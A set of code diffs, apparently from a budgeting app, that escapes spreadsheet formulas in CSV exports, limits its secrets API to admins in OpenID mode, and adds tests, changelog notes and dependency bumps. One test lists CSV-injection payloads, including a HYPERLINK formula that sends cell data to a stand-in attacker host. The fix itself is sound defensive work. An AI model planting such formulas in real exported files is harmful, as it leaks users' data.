const rows = csvParse(csv, { columns: true }) as Array<
Record<string, string>
>;
return { row: rows[0], csv };
}
it.each([
['=HYPERLINK("http://attacker/?d="&B2,"x")'],
['=1+1'],
['+1+1'],
['-2+3'],
['@SUM(1+1)'],
['\tHELLO'],
['\rHELLO'],
])('prefixes a payee starting with %j with a single quote', async payload => {
const { row } = await payeeCell(payload);
expect(row.Payee).toBe("'" + payload);
});
it('does not prefix payees without a leading trigger character', async () => {
const { row } = await payeeCell('Acme Corp');
expect(row.Payee).toBe('Acme Corp');
});
it('does not prefix negative numeric amounts', async () => {
const { row } = await payeeCell('Acme', -2500);
expect(row.Amount).toBe('-25');
});
});

View File

@@ -4,6 +4,16 @@ import { stringify as csvStringify } from 'csv-stringify/sync';
import { aqlQuery } from '#server/aql';
import { integerToAmount } from '#shared/util';
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;
const csvStringifyOptions = {
header: true,
cast: {
string: (value: string) =>
FORMULA_TRIGGERS.test(value) ? "'" + value : value,
},
};
export async function exportToCSV(
transactions,
accounts,
@@ -53,7 +63,7 @@ export async function exportToCSV(
}),
);
return csvStringify(transactionsForExport, { header: true });
return csvStringify(transactionsForExport, csvStringifyOptions);
}
export async function exportQueryToCSV(query) {
@@ -128,5 +138,5 @@ export async function exportQueryToCSV(query) {
};
});
return csvStringify(transactionsForExport, { header: true });
return csvStringify(transactionsForExport, csvStringifyOptions);
}

View File

@@ -62,7 +62,6 @@ export default defineConfig(({ mode }) => {
},
plugins: [
peggyLoader(),
// https://github.com/davidmyersdev/vite-plugin-node-polyfills/issues/142
nodePolyfills({
include: [
'process',

View File

@@ -1,7 +1,7 @@
import express from 'express';
import { getAccountDb, isAdmin } from './account-db';
import { secretsService } from './services/secrets-service';
import { getActiveLoginMethod, isAdmin } from './account-db';
import { SecretName, secretsService } from './services/secrets-service';
import {
requestLoggerMiddleware,
validateSessionMiddleware,
@@ -14,35 +14,32 @@ app.use(express.json());
app.use(requestLoggerMiddleware);
app.use(validateSessionMiddleware);
// In OpenID mode the secrets store is admin-managed; non-admins must be
// blocked from both reads and writes, otherwise they can enumerate which
// integrations are configured.
function canManageSecrets(userId) {
return getActiveLoginMethod() !== 'openid' || isAdmin(userId);
}
app.post('/', async (req, res) => {
let method;
try {
const result = getAccountDb().first(
'SELECT method FROM auth WHERE active = 1',
);
method = result?.method;
} catch (error) {
console.error('Failed to fetch auth method:', error);
return res.status(500).send({
if (!canManageSecrets(res.locals.user_id)) {
res.status(403).send({
status: 'error',
reason: 'database-error',
details: 'Failed to validate authentication method',
reason: 'not-admin',
details: 'You have to be admin to set secrets',
});
return;
}
const { name, value } = req.body || {};
if (method === 'openid') {
const canSaveSecrets = isAdmin(res.locals.user_id);
if (!canSaveSecrets) {
res.status(403).send({
status: 'error',
reason: 'not-admin',
details: 'You have to be admin to set secrets',
});
return;
}
if (!(name in SecretName)) {
res.status(400).send({
status: 'error',
reason: 'invalid-secret-name',
details: 'Unknown secret name',
});
return;
}
secretsService.set(name, value);
@@ -51,9 +48,22 @@ app.post('/', async (req, res) => {
});
app.get('/:name', async (req, res) => {
if (!canManageSecrets(res.locals.user_id)) {
res.status(403).send({
status: 'error',
reason: 'not-admin',
details: 'You have to be admin to read secrets',
});
return;
}
const name = req.params.name;
const keyExists = secretsService.exists(name);
if (keyExists) {
if (!(name in SecretName)) {
res.status(404).send('key not found');
return;
}
if (secretsService.exists(name)) {
res.sendStatus(204);
} else {
res.status(404).send('key not found');

View File

@@ -1,9 +1,19 @@
import request from 'supertest';
import { getAccountDb } from './account-db';
import { handlers as app } from './app-secrets';
import { secretsService } from './services/secrets-service';
import { SecretName, secretsService } from './services/secrets-service';
const enableOpenIdAuth = () => {
const db = getAccountDb();
db.mutate('DELETE FROM auth');
db.mutate(
"INSERT INTO auth (method, active, extra_data, display_name) VALUES ('openid', 1, '', 'OpenID')",
);
};
describe('secretsService', () => {
const testSecretName = 'testSecret';
const testSecretName = SecretName.simplefin_token;
const testSecretValue = 'testValue';
it('should set a secret', () => {
@@ -38,6 +48,10 @@ describe('secretsService', () => {
});
describe('secrets api', () => {
afterEach(() => {
getAccountDb().mutate('DELETE FROM auth');
});
it('returns 401 if the user is not authenticated', async () => {
secretsService.set(testSecretName, testSecretValue);
const res = await request(app).get(`/${testSecretName}`);
@@ -52,7 +66,15 @@ describe('secretsService', () => {
it('returns 404 if secret does not exist', async () => {
const res = await request(app)
.get(`/thiskeydoesnotexist`)
.get(`/${SecretName.gocardless_secretKey}`)
.set('x-actual-token', 'valid-token');
expect(res.statusCode).toEqual(404);
});
it('returns 404 for unknown secret names without revealing existence', async () => {
const res = await request(app)
.get('/thiskeydoesnotexist')
.set('x-actual-token', 'valid-token');
expect(res.statusCode).toEqual(404);
@@ -68,7 +90,6 @@ describe('secretsService', () => {
});
it('returns 200 if secret was set', async () => {
secretsService.set(testSecretName, testSecretValue);
const res = await request(app)
.post(`/`)
.set('x-actual-token', 'valid-token')
@@ -79,5 +100,71 @@ describe('secretsService', () => {
status: 'ok',
});
});
it('POST returns 400 for unknown secret names', async () => {
const res = await request(app)
.post('/')
.set('x-actual-token', 'valid-token')
.send({ name: 'thiskeydoesnotexist', value: 'whatever' });
expect(res.statusCode).toEqual(400);
expect(res.body).toEqual({
status: 'error',
reason: 'invalid-secret-name',
details: 'Unknown secret name',
});
});
describe('when OpenID is the active auth method', () => {
beforeEach(() => {
enableOpenIdAuth();
secretsService.set(testSecretName, testSecretValue);
});
it('GET returns 403 for non-admin users', async () => {
const res = await request(app)
.get(`/${testSecretName}`)
.set('x-actual-token', 'valid-token-user');
expect(res.statusCode).toEqual(403);
expect(res.body).toEqual({
status: 'error',
reason: 'not-admin',
details: 'You have to be admin to read secrets',
});
});
it('GET returns 204 for admin users when secret exists', async () => {
const res = await request(app)
.get(`/${testSecretName}`)
.set('x-actual-token', 'valid-token-admin');
expect(res.statusCode).toEqual(204);
});
it('POST returns 403 for non-admin users', async () => {
const res = await request(app)
.post('/')
.set('x-actual-token', 'valid-token-user')
.send({ name: testSecretName, value: testSecretValue });
expect(res.statusCode).toEqual(403);
expect(res.body).toEqual({
status: 'error',
reason: 'not-admin',
details: 'You have to be admin to set secrets',
});
});
it('POST returns 200 for admin users', async () => {
const res = await request(app)
.post('/')
.set('x-actual-token', 'valid-token-admin')
.send({ name: testSecretName, value: 'newValue' });
expect(res.statusCode).toEqual(200);
expect(res.body).toEqual({ status: 'ok' });
});
});
});
});

View File

@@ -0,0 +1,6 @@
---
category: Maintenance
authors: [matt-fidd]
---
Automation UI: various tweaks and fixes

View File

@@ -0,0 +1,6 @@
---
category: Maintenance
authors: [MatissJanis]
---
Convert built-in themes from TypeScript modules to plain CSS files.

View File

@@ -0,0 +1,6 @@
---
category: Maintenance
authors: [MatissJanis]
---
Reference dedicated environments for workflows that consume secrets, satisfying zizmor's `secrets-without-environment` audit.

View File

@@ -0,0 +1,6 @@
---
category: Maintenance
authors: [MatissJanis]
---
Fix template injection in setup action's Lage cache step.

View File

@@ -0,0 +1,6 @@
---
category: Bugfixes
authors: [MatissJanis]
---
Prevent exported CSV files from being interpreted as spreadsheet formulas when opened in Excel, LibreOffice Calc, or Google Sheets.

View File

@@ -0,0 +1,6 @@
---
category: Maintenance
authors: [MatissJanis]
---
Upgrade `vite-plugin-node-polyfills` to 0.27.0.

View File

@@ -0,0 +1,6 @@
---
category: Bugfixes
authors: [MatissJanis]
---
Restrict the sync-server secrets API to admins in OpenID mode so non-admin users can no longer enumerate configured bank-sync integrations.

View File

@@ -148,7 +148,7 @@ __metadata:
util: "npm:^0.12.5"
uuid: "npm:^14.0.0"
vite: "npm:^8.0.5"
vite-plugin-node-polyfills: "npm:^0.26.0"
vite-plugin-node-polyfills: "npm:^0.27.0"
vite-plugin-peggy-loader: "npm:^2.0.1"
vitest: "npm:^4.1.2"
xml2js: "npm:^0.6.2"
@@ -19650,9 +19650,9 @@ __metadata:
linkType: hard
"lodash-es@npm:^4.17.21":
version: 4.17.21
resolution: "lodash-es@npm:4.17.21"
checksum: 10/03f39878ea1e42b3199bd3f478150ab723f93cc8730ad86fec1f2804f4a07c6e30deaac73cad53a88e9c3db33348bb8ceeb274552390e7a75d7849021c02df43
version: 4.18.1
resolution: "lodash-es@npm:4.18.1"
checksum: 10/8bfad225ef09ef42b04283cdaf7830efcc2ba29ae41b56501c74422155ee1ccaa1f0f6e8319def3451a1fe54dec501c8e4bee622bae2b2d98ac993731e0a5cce
languageName: node
linkType: hard
@@ -23873,11 +23873,11 @@ __metadata:
linkType: hard
"qs@npm:^6.12.3, qs@npm:^6.14.0, qs@npm:^6.14.1":
version: 6.14.1
resolution: "qs@npm:6.14.1"
version: 6.15.1
resolution: "qs@npm:6.15.1"
dependencies:
side-channel: "npm:^1.1.0"
checksum: 10/34b5ab00a910df432d55180ef39c1d1375e550f098b5ec153b41787f1a6a6d7e5f9495593c3b112b77dbc6709d0ae18e55b82847a4c2bbbb0de1e8ccbb1794c5
checksum: 10/ec10b9957446b3f4a38000940f6374720b4e2985209b89df197066038c951472ea24cd98d6bc6df73a0cbec75bc056f638032e3fb447345017ff7e0f0a2693ac
languageName: node
linkType: hard
@@ -28441,15 +28441,15 @@ __metadata:
languageName: node
linkType: hard
"vite-plugin-node-polyfills@npm:^0.26.0":
version: 0.26.0
resolution: "vite-plugin-node-polyfills@npm:0.26.0"
"vite-plugin-node-polyfills@npm:^0.27.0":
version: 0.27.0
resolution: "vite-plugin-node-polyfills@npm:0.27.0"
dependencies:
"@rollup/plugin-inject": "npm:^5.0.5"
node-stdlib-browser: "npm:^1.3.1"
peerDependencies:
vite: ^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0
checksum: 10/538076561ccfe16e6aa24f7fe9fdb86e0e23ac066fc42b4a6e8af491b2c5d7e3e4a5344694355015d684e2faa69f92e20978b1a1b944770e0d3b8acfea53cbe8
checksum: 10/d3c795f144af2e6806948b6ed6e1842d56310bdcbfe17ca1efcbf6c297f2fd31994f4626cc138df39b2069d38b791960e1dd0f46efd8c7ca8d8c009697ab1721
languageName: node
linkType: hard